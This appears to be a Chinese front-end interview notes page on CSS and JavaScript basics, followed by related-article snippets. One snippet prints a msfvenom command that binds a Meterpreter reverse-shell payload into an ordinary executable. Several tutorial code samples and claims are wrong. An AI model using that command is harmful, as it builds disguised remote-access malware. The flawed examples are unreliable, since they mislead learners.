czx前端(看完理解完必拿至少9Koffer)不断更新中

一、盒模型

标准盒模型:box-sizing: content-box。

外边距+边框+内边距+内容区。

IE盒模型,怪异盒模型:box-sizing: border-box。

外边距+内容区(边框+内边距+内容区)。

二、CSS特性

继承性: 父元素的字体大小,字体颜色,行高,display:none...也会出现在子元素上。

优先级: 谁的权重高就显示谁的样式。

!important 内联 ID class 属性 伪类 元素 继承 通配 (vue中有深度选择器 deep)

层叠性: 多个CSS声明应用在同一个元素时,权重相加,决定最终样式

预处理器 sass less 预处理器 变量 函数 混入,全局颜色,css原子化

1、变量的声明
声明变量的时候,变量名前面要加两根连词线 --。使用变量用var()函数。

<style>
body{
    --foo:red;
}

p{
    color: var(foo);
}
</style>

2、变量的继承
<style>
body{
    --foo: red;
}

p{
    --foo: initial;
}
</style>

3、js控制css变量
通过js的dom节点对象,可以获取和修改当前节点的css变量值。

获取css变量:getPropertyValue('--name')
设置css变量:setProperty('--name', value)

<div id="header">hello world</div>
 
<style>
#header {
    --bgColor: #ffffff;
}
</style>
 
<script>
    let dom = document.getElementById("header");
    // 获取css变量
    let color = dom.getPropertyValue("--bgColor").trim();
    // 设置css变量
    dom.setProperty("--bgColor", '#f34e25');
</script>
css函数

1、var变量函数,作用:引用自定义的变量值。
第一个参数:引用的变量名称,第二个参数:回退值,表示如果第一个参数未定义,
使用回退值代替。

body {
    // 定义变量bgColor
    --bgColor: #ffffff;
    // 背景色取变量--bgColor的值,如果未定义,则取red
    background-color: var(--bgColor, red);
}

2、calc 主要通过简单的数学计算,进行一些单位的计算,表达式支持加、减、乘、除。

3、min(val1... valN):接受任意数量的参数,每个参数也可以是表达式。取出参数中最小的值。
max(val1...valN):同上,取最大的值。

4、:where伪类选择器函数
作用::where()函数实际是一个高级的伪类选择器,他的作用是将一系列的选择器列表,
都应用相同的样式,简化多个选择器样式编码的流程。
:where(class1,...classN) { css样式 }- 接受n个参数,参数值为选择器(任意的css选择器)

// 传统方式
.main span {
    font-size: 12px;
}
.line span {
    font-size: 12px;
}

// 如果有大量样式相同,选择:where函数选择器(终极版)
:where(.main, .line) span {
    font-size: 12px;
}

5、:is伪类选择器函数
作用:与:where()函数选择器用法一致。
优先级不同。:where()函数选择器的优先级总是为0(即使他的样式代码在最下面)
而:is()函数选择器的优先级取决于他的参数选择器列表中最高的选择器
.main span {
    font-size: 12px;
}
 
:is(.main) span {
    font-size: 13px;
}
 
span {
    font-size: 14px;
}
 
:where(.main) span {
    font-size: 15px;
}	
:where()优先级最低;其次是span选择器;第一个选择器和:is()函数选择器的优先级都是.main span,
因此他们优先级一致,但是因为is()函数在下面,因此font-size为13px。
sass

1、使用变量 $
$aaa: 16px;
.fontSize {
	font-size: $aaa;
}

2、@extend 继承
.success{
	color:green;
}
.msg{
	@extend .success;
	color: #555555;
}

3、@if
当 @if 的表达式返回值不是 false 或者 null 时,条件成立,输出 {} 内的代码:
p{
	$num : 3;
	@if $num == 1 {
		color:red;
	}@else{
		border:red;
	}
}

4、@for
指令可以在限制的范围内重复输出格式,每次按要求(变量的值)对输出结果做出变动。
@for $i from 1 through 3 {
	.item-#{$i} {
		width: 2em * $i;
	}
}
上面等于
.item-1 { width: 2em; }
.item-2 { width: 4em; }
.item-3 { width: 6em; }

 三、隐藏元素的方法

display:none;元素在页面上消失,不占据空间

visibility:hidden; 让元素消失,占据空间位置,一种不可见的状态

opacity:0; 设置了元素的透明度为0,元素不可见,占据空间位置

position:absolute; 使用定位,让元素移到页面之外

四、px、rpx、vw、vh、em、rem

px:绝对长度、固定单位,无法根据页面的大小而改变

rpx: 小程序独自有的

vw:viewpoint width,视窗宽度,1vw等于视窗宽度的1%。

vh:viewpoint height,视窗高度,1vh等于视窗高度的1%。

em和rem:相对长度,适用于响应式布局(em的大小相对于父元素大小而改变,rem的大小相对于根元素的大小而改变)

据不同屏幕的宽度,以相同的比例动态修改html的font-size适配,并将px替换成rem,它可以很好的根据根元素的字体大小来进行变化,从而达到各种屏幕基本一直的效果体验

配置rem

window.onload = () => { document.documentElement.style.fontSize = window.innerWidth / 375 * 100 + 'px'; }

window.onresize = () => { document.documentElement.style.fontSize = window.innerWidth / 375 * 100 + 'px'; }

五、重排重绘

重排(回流):布局引擎会根据所有的样式计算出盒模型在页面上的位置和大小,对DOM的大小、位置进行修改后,浏览器需要重新计算元素的这些几何属性,就叫重排。减少重排可以增强浏览器效率。

重绘:计算好盒模型的位置、大小和其他一些属性之后,浏览器就会根据每个盒模型的特性进行绘制,对DOM的样式进行修改,比如color和background-color,浏览器不需要重新计算几何属性的时候,直接绘制了该元素的新样式,那么这里就只触发了重绘

六、元素水平垂直居中

1、定位 + margin

2、定位 + transform

3、flex布局

4、gird布局

5、table布局

七、响应式开发(移动端适配)

1、使用rem、em、vw、vh、百分比、flex、@media媒体查询等布局

2、监听是手机端打开还是PC端打开,配置两套路由或样式

3、监听页面窗口大小,配置多套样式

八、JS三部分

1、ECMAScript:JS的核心内容,描述了语言的基础语法。

2、文档对象模型(DOM):DOM把整个HTML页面规划为元素构成的文档。DOM 文档对象模型,就是一个API,可以通过操作这些API在页面上进行绘制节点,设置节点的属性和内容。

例如:document.getElementById('app');document.createElement('hr');app.appendChild(hr);app.setAttribute('class', 'aaa');

3、浏览器对象模型(BOM):对浏览器窗口进行访问和操作。BOM 浏览器对象模型,可以用来操作浏览器的打开、关闭、重加载等。

例如:location 当前页面的地址;history 浏览器浏览过的历史;navigator 浏览器当前的用户设备信息;window 浏览器的高度、宽度。浏览器的滚动和打印功能......

九、JS部分内置对象

String、Boolean、Number、Array、Object、Function、Math、Date、RegExp...

Math:abs() 函数返回绝对值 sqrt() 接受一个非负正数,返回平方根 max() 最大值 min() 最小值......

Data:new Data() 获取当前时间戳 getYear() 获取年份 ......

十、数组方法

1、改变原数组:push 最后面加一个、pop 最后面删一个、unshift 最前面加一个、shift 最前面删一个、sort 排序、splice 可以删除替换增加元素

2、不改变原数组:reverse 反转顺序、concat 合并数组、join 将元素拼接成字符串、isArray 判断一个值是否为数组、findIndex 返回满足指定条件的第一个元素的索引,如果没有找到则返回 -1。

map:创建一个新数组,其元素是原数组经过指定函数处理后的结果。

const numbers = [1, 2, 3, 4, 5];
const squares = numbers.map(num => num * num);
console.log(squares); // 输出: [1, 4, 9, 16, 25]

filter:创建一个新数组,其中包含原数组中满足指定条件的所有元素。

let arr = [1, 2, 3, 4, 5];
let evenNumbers = arr.filter(item => item % 2 === 0);
console.log(evenNumbers); // 输出 [2, 4]

every:判断数组中所有元素是否都满足指定条件,如果是则返回 true,否则返回 false。

let arr = [2, 4, 6, 8, 10];
let allEven = arr.every(item => item % 2 === 0);
console.log(allEven); // 输出 true

some:判断数组中是否存在满足指定条件的元素,如果有则返回 true,否则返回 false。

let arr = [1, 3, 5, 7, 8];
let hasEven = arr.some(item => item % 2 === 0);
console.log(hasEven); // 输出 true

reduce:将数组中的元素通过指定函数进行累积计算,返回一个最终的结果。

let arr = [1, 2, 3, 4, 5];
let sum = arr.reduce((acc, curr) => acc + curr, 0);
console.log(sum); // 输出 15

为什么调用接口时,用 push 而不用 concat?

因为 push 是改变原数组,而 concat 是生成新数组。

for 数组、forEach 数组、for of 数组、for in 数组和对象都能遍历

let arr = [ "a", "b", "c", "d", "e" ];
let obj = { a: 1, b: 2, c: 3 }
for(let i = 0; i < arr.length; i++){ 
	console.log(i, arr[i]) // 下标 值
}
arr.forEach((item, index) => { 
	console.log(item, index) // 值 下标
})
for(let i of arr){ 
	console.log(i) //值
}
for(let i in arr){ 
	console.log(i, arr[i]) // 下标 值
}
for(let i in obj){ 
	console.log(i, obj[i]) // 键 值
}

for、forEach差别:forEach 无法使用 break、return、continue 进行中断操作或跳出循环。只能使用 try、catch 中断,抛出异常。for循环能控制起点,forEach 不能(必须从第一个开始)。运行速度:for > forEach

try {
	arr.forEach((item, index) => {
		if (item == 1) {
			throw new Error("打断施法")
		}
	})
} catch (e) {
	if (e.message !== "打断施法") {
		throw e
	}
}

forEach 和 map 的区别

1、forEach()方法没有返回值,会更改原数组。

2、map() 有返回值,返回一个新数组,不会改变原数组,map() 不会对空数组进行检测。

3、map 的速度大于 forEach()

find:用于找出第一个符合条件的数组成员,并且返回该数组元素,如果没有满足条件的数组元素该方法返回undefined。

let arr1 = [1, 2, 3, 4, 5]
let num1 = arr1.find(function(item) {
	return item > 1;
});
console.log(num1); //2

findIndex:用于找出第一个符合条件的数组成员的索引值,并且返回该数组元素的索引值。如果没有满足条件的数组元素该方法返回-1。

let arr2 = [1, 7, 9, 4, 5]
let num1 = arr2.findIndex(item => item > 9);
console.log(num1); //-1
let num2 = arr2.findIndex(item => item > 3);
console.log(num2); //2

includes:判断数组是否包含指定值—是全等判断,第一个值是包含的指定值,第二个值是指定值的索引。

let arr4 = [2, 3, 4, 7, 5]
let flag = arr4.includes(2);
console.log(flag); //true
let flag1 = arr4.includes(3, 1);
console.log(flag1); //true

十一、字符串方法

charAt() 方法

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/887511.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

总结TypeScript相关知识

目录 引入认识特点安装使用变量声明类型推导 JS 和 TS 共有类型number类型boolean类型string类型Array类型null和undefined类型object类型symbol类型对象类型函数类型 可选和只读type 和 interface索引签名类型断言非空类型断言类型缩小严格赋值检测现象TS 新增类型字面量类型a…

Golang | Leetcode Golang题解之第452题用最少数量的箭引爆气球

题目&#xff1a; 题解&#xff1a; func findMinArrowShots(points [][]int) int {if len(points) 0 {return 0}sort.Slice(points, func(i, j int) bool { return points[i][1] < points[j][1] })maxRight : points[0][1]ans : 1for _, p : range points {if p[0] > …

windows下安装rabbitMQ并开通管理界面和允许远程访问

如题&#xff0c;在windows下安装一个rabbitMQ server&#xff1b;然后用浏览器访问其管理界面&#xff1b;由于rabbitMQ的默认账号guest默认只能本机访问&#xff0c;因此需要设置允许其他机器远程访问。这跟mysql的思路很像&#xff0c;默认只能本地访问&#xff0c;要远程访…

Jenkins pipeline配置示例

前提条件&#xff1a;已经安装Jenkins并能正常启动 如果Jenkins安装启动遇到问题可以参考&#xff1a; 1.创建pipeline 点击新建项目&#xff1a; 输入名称&#xff0c;选择pipeline&#xff1a; 进入配置页面&#xff0c;如果要配置GitHub Webhook要勾选&#xff1a;<fo…

机器人的性能指标

1. 负荷能力 负荷能力负荷能力是指机器人在满足其他性能要求的情况下,能够承载的负荷重量。例如,一台机器人的最大负荷能力可能远大于它的额定负荷能力,但是达到最大负荷时,机器人的工作精度可能会降低,可能无法准确地沿着预定的轨迹运动,或者产生额外的偏差。机器人的负荷量与…

交换排序:冒泡排序、递归实现快速排序

目录 冒泡排序 1.冒泡排序的核心思想 2.冒泡排序的思路步骤 3.冒泡排序代码 4.代码分析 5.对冒泡排序的时间复杂度是O(N^2)进行解析 6.冒泡排序的特性总结 递归实现快速排序(二路划分版本) 1.快速排序基本思路 2.代码思路步骤 3.代码实现 4.代码分析 (1)递归终止条…

lrzsz串口文件传输

此时如果需要传输文件&#xff0c;需要借助rz/sz工具&#xff0c;可以使用的传输协议有ZMODEM、YMODEM、XMODEM&#xff0c;默认是ZMODEM。 https://en.wikipedia.org/wiki/ZMODEM https://gallium.inria.fr/~doligez/zmodem/zmodem.txt 这里记录item2下使用rz/sz进行文件传输…

MSF捆绑文件

msf捆绑文件 msf快速打开不启动banner msfconsole -q msf捆绑文件 msfvenom -p windows/meterpreter/reverse_tcp LHOST127.0.0.1 LPORT8888 -f exe -x 1.exe -o msf.exe

Java 网络编程基础

网络通信三要素 此笔记来之与黑马.B站的视频是真的高 基本的通信架构 基本的通信架构有2种形式&#xff1a;CS架构&#xff08;Client 客户端/ Server 服务端&#xff09;、BS架构( Browser 浏览器/ Server 服务端)。 IP 地址 IP&#xff08;InternetProtocol&#xff09;&a…

Java中的break、continue和return语句

break、continue和return break语句引入基本介绍基本语法示意图注意事项练习String字符串的比较 continue跳转控制语句基本介绍基本语法示意图 return跳转控制语句 break语句 引入 随机生成1-100的一个数&#xff0c;直到生成了97这个数&#xff0c;看看你一共用了几次&#…

Electron 使⽤ electron-builder 打包应用

electron有几种打包方式&#xff0c;我使用的是electron-builder。虽然下载依赖的时候让我暴躁&#xff0c;使用起来也很繁琐&#xff0c;但是它能进行很多自定义&#xff0c;打包完成后的体积也要小一些。 安装electron-builder&#xff1a; npm install electron-builder -…

教育领域的技术突破:SpringBoot系统实现

2相关技术 2.1 MYSQL数据库 MySQL是一个真正的多用户、多线程SQL数据库服务器。 是基于SQL的客户/服务器模式的关系数据库管理系统&#xff0c;它的有点有有功能强大、使用简单、管理方便、安全可靠性高、运行速度快、多线程、跨平台性、完全网络化、稳定性等&#xff0c;非常…

传感器模块编程实践(二)W5500 SPI转以太网模块简介及驱动源码

文章目录 一.概要二.W5500芯片介绍W5500通讯协议介绍 三.W5500模块介绍四.W5500模块原理图五.W5500以太网模通讯实验六.CubeMX工程源代码下载七.小结 一.概要 我们介绍过单片机的以太网系统一般是由&#xff1a;单片机MACPHYRJ45。有些单片机比如STM32F407VET6芯片内部自带MAC…

Vue基础(2)检测数据原理~生命周期

文章目录 检测数据原理1.更新时遇到的问题2.检测数据的原理-对象3. vue.set()的使用 收集表单数据过滤器内置指令1.v-text2.v-html3.v-cloak4.v-once5.v-pre 自定义指令生命周期1.挂载流程2.更新流程3.销毁流程 检测数据原理 1.Vue会监视data中的所有层次的数据 2.如何监测对象…

学习资料库系统小程序的设计

管理员账户功能包括&#xff1a;系统首页&#xff0c;个人中心&#xff0c;管理员管理&#xff0c;观看记录管理&#xff0c;基础数据管理&#xff0c;论坛信息管理&#xff0c;公告信息管理&#xff0c;轮播图信息 微信端账号功能包括&#xff1a;系统首页&#xff0c;阅读资…

OpenAI在周四推出了一种与ChatGPT互动的新方式——一种名为“Canvas”的界面

每周跟踪AI热点新闻动向和震撼发展 想要探索生成式人工智能的前沿进展吗&#xff1f;订阅我们的简报&#xff0c;深入解析最新的技术突破、实际应用案例和未来的趋势。与全球数同行一同&#xff0c;从行业内部的深度分析和实用指南中受益。不要错过这个机会&#xff0c;成为AI领…

界星空科技漆包线行业称重系统

万界星空科技为漆包线行业提供的称重系统是其MES制造执行系统解决方案中的一个重要组成部分。以下是对该系统的详细介绍&#xff1a; 一、系统概述 万界星空科技漆包线行业称重系统&#xff0c;是集成在MES系统中的一个功能模块&#xff0c;专门用于漆包线生产过程中的重量检…

Pikachu-unsafe upfileupload-getimagesize

什么是getimagesize()&#xff1f; getimagesize()是PHP中用于获取图像的大小和格式的函数。它可以返回一个包含图像的宽度、高度、类型和MIME类型的数组。 由于返回的这个类型可以被伪造&#xff0c;如果用这个函数来获取图片类型&#xff0c;从而判断是否时图片的话&#xff…

懒洋洋浅谈--机器学习框架

机器学习&#xff0c;这个词汇听起来就像是科幻小说里那些能够自我进化的机器人一样神秘而强大。但别担心&#xff0c;让我用一种更接地气的方式来揭开它的神秘面纱。 关于机器学习&#xff0c;有一个非常有意思的介绍误闯机器学习&#xff08;第一关-概念和流程&#xff09;-C…

【FPGA开发】Modelsim如何给信号分组

前面已经发布过了一篇关于 Modelsim 的入门使用教程&#xff0c;针对的基本是只有一个源文件加一个仿真tb文件的情况&#xff0c;而实际的工程应用中&#xff0c;往往是顶层加多个底层的源文件结构&#xff0c;如果不对信号进行一定的分组&#xff0c;就会显得杂乱不堪&#xf…